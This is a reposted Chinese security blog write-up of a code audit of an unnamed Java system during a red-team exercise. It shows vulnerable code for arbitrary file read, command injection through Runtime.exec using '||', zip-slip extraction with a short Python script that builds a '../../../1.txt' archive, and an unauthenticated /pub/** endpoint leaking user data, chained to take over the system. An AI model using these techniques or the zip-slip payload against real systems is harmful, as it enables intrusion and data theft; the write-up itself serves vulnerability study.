记一次地级攻防演练实战代码审计

admin 2023年6月24日00:17:31评论24 views字数 4770阅读15分54秒阅读模式

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

文章正文

某次地级HW过程中遇见的一套系统,其开发语言为Java,通过其同类型系统成功扫到了其备份文件,故有了以下的代码审计过程记录

后台任意文件读取

通过全局搜索File download getfile 最终发现一处其任意文件读取漏洞

用户可控参数filePath 并非做任何过滤,通过File file = getFile(filePath); 获取file对象后,is = new FileInputStream(file); 获取文件文件字节输入流,之后通过 IOUtils.copy(is, os); 将is copy给os,最后通过os.flush();输出

@RequestMapping(value = "/show", method = RequestMethod.GET)
    public void show(String filePath, HttpServletResponse response) throws IOException {

File file = getFile(filePath);

response.setDateHeader("Expires", System.currentTimeMillis() + 1000 * 60 * 60 * 24);
response.setHeader("Cache-Control", "max-age=60");
OutputStream os = response.getOutputStream();

FileInputStream is = null;
try {
is = new FileInputStream(file);
IOUtils.copy(is, os);
} catch (FileNotFoundException e) {
response.setStatus(404);
return;
} finally {
if (null != is) {
is.close();
}
if (null != os) {
os.flush();
os.close();
}
}
}

其中getFile 方法为返回File 对象

记一次地级攻防演练实战代码审计

漏洞验证

记一次地级攻防演练实战代码审计

后台Rce

全局搜索关键字getRuntime().exec 发现一处调用,参数可控导致RCE

三个参数分别是installPath, ip, port ,获取后拼接command=installPath+"program/soffice -headless -accept="socket,host="+ip+",port="+port+";urp;" -nofirststartwizard &" ,最后调用Runtime.getRuntime().exec(command); 执行系统命令

public static JsonResult<String> startService(String installPath, String ip,String port){
        JsonResult<String> result=new JsonResult<String>(true,"启动服务成功!");
        String sys=System.getProperty("os.name");
        try {
            if(StringUtils.isBlank(installPath)||StringUtils.isBlank(ip)||StringUtils.isBlank(port)){
                return new JsonResult<String>(false,"系统参数不齐全!");
            }
            String command="";
            if(sys.toLowerCase().startsWith("win")){
                command= installPath   + "program\\soffice.exe -headless -accept=\"socket,host="+ip+",port="+port+";urp;StarOffice.ServiceManager\" -nofirststartwizard";
            }else{
                command=installPath+"program/soffice -headless -accept=\"socket,host="+ip+",port="+port+";urp;\" -nofirststartwizard &";
            }
            Runtime.getRuntime().exec(command);

} catch (Exception e) {
logger.debug(ExceptionUtil.getExceptionMessage(e));
result.setSuccess(false);
result.setMessage("启动失败!");
result.setData(ExceptionUtil.getExceptionMessage(e));
}
return result;

}

查看具体调用

记一次地级攻防演练实战代码审计

获取到了configJson,之后通过JSONObject.oarSeObject 转换为JSON数据,之后如果enabled值为YES时,进入if语句,之后又通过result.getSuccess来判断了当前office的连接状态,如果为flase(默认无任何连接为flase)则进入该if语句造成命令执行

漏洞验证

通过命令管道符||来分割执行系统命令

记一次地级攻防演练实战代码审计

记一次地级攻防演练实战代码审计

文件解压导致RCE

系统存在模版上传并调用了解压,为对zip内文件进行限制导致上传任意文件并且可以通过../可以跳出当前目录

全局搜索unzip 发现

漏洞代码分析,主要看上传逻辑,通过String filename = f.getOriginalFilename(); 获取filename,之后通过filename.split("[.]"); 分割并赋值给type数组,之后判断文件是否存在,等,最主要的逻辑在于if (!type[1].equals("jrxml")&&!type[1].equals("jasper")) 如果type中不包含jrxml&&jasper 也就是后缀如果不是就会进入if语句执行解压操作

while (it.hasNext()) {//这个块是处理上传的文件将其写入到某个路径下,保存路径到sysreport实体,包含了一个队压缩包的处理,暂时不会用到,但别删除,拓展压缩包需求时会需要
                MultipartFile f = it.next();
                String filename = f.getOriginalFilename();
                String[] type = filename.split("[.]");
                File file = new File(WebAppUtil.getAppAbsolutePath() + "/reports/" + path + "/" + uid, filename);
                if (!file.exists()) {
                    file.mkdirs();
                }
                f.transferTo(file);

if (!type[1].equals("jrxml")&&!type[1].equals("jasper")) {//jasperreport支持2个格式后缀
File zipFile = file;
String zipPath = WebAppUtil.getAppAbsolutePath() + "/reports/" + path + "/" + uid + "/";
filename = unZipFiles(zipFile, zipPath);//
}
sbPath.append(path).append("/").append(uid).append("/").append(filename);
}

进入filename = unZipFiles(zipFile, zipPath);// ,很明显未做任何过滤,但是判断了zip中是否包含了jrxml文件或者是jasper文件如果包含则把当前的文件名返回给path

public static String unZipFiles(File zipFile, String descDir) throws IOException {
        File pathFile = new File(descDir);
        String path = null;
        if (!pathFile.exists()) {
            pathFile.mkdirs();
        }
        ZipFile zip = new ZipFile(zipFile);
        for (Enumeration entries = zip.entries(); entries.hasMoreElements();) {
            ZipEntry entry = (ZipEntry) entries.nextElement();
            String zipEntryName = entry.getName();
            String[] type = zipEntryName.split("\\.");
            if (type[1].equals("jrxml") || type[1].equals("jasper")) {
                path = zipEntryName;
            }
            InputStream in = zip.getInputStream(entry);
            String outPath = (descDir + zipEntryName).replaceAll("\\*", "/");
            ;
            // 判断路径是否存在,不存在则创建文件路径
            File file = new File(outPath.substring(0, outPath.lastIndexOf('/')));
            if (!file.exists()) {
                file.mkdirs();
            }
            // 判断文件全路径是否为文件夹,如果是上面已经上传,不需要解压
            if (new File(outPath).isDirectory()) {
                continue;
            }
            // 输出文件路径信息
            System.out.println(outPath);

OutputStream out = new FileOutputStream(outPath);
byte[] buf1 = new byte[1024];
int len;
while ((len = in.read(buf1)) > 0) {
out.write(buf1, 0, len);
}
in.close();
out.close();
}
return path;
}

漏洞验证

先生成一个跨目录的压缩包

import zipfile

def zip():
zipFile = zipfile.ZipFile("/Users/again/Desktop/2.zip",'w',zipfile.ZIP_DEFLATED)
try:
info = zipfile.ZipInfo("2.zip")
zipFile.write("/Users/again/Desktop/1.txt","../../../1.txt",zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
if __name__ == '__main__':
zip()

构造上传数据包

记一次地级攻防演练实战代码审计

成功解压至根目录

记一次地级攻防演练实战代码审计

未授权

挖了这么多,漏洞基本还是出现在后台,急需一个前台洞,让我们进去(实际测试没那么多弱口令账户给我们爆破,这个只是运气好罢了)

通过查看该系统不需要认证的URL发现了如下接口,表示该接口下的方法均可以匿名访问

<property name="anonymousUrls">
  <value>/pub/**</value>

通过批量搜索发现,可以通过此接口获取用户信息

记一次地级攻防演练实战代码审计

构造访问一下

记一次地级攻防演练实战代码审计

至此,可以通过该未授权漏洞,进入后台,并通过之前的漏洞轻轻松松拿下该系统。

本文转自 https://xz.aliyun.com/t/12563,如有侵权,请联系删除。

原文始发于微信公众号(Z2O安全攻防):记一次地级攻防演练实战代码审计

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月24日00:17:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次地级攻防演练实战代码审计https://cn-sec.com/archives/1829189.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息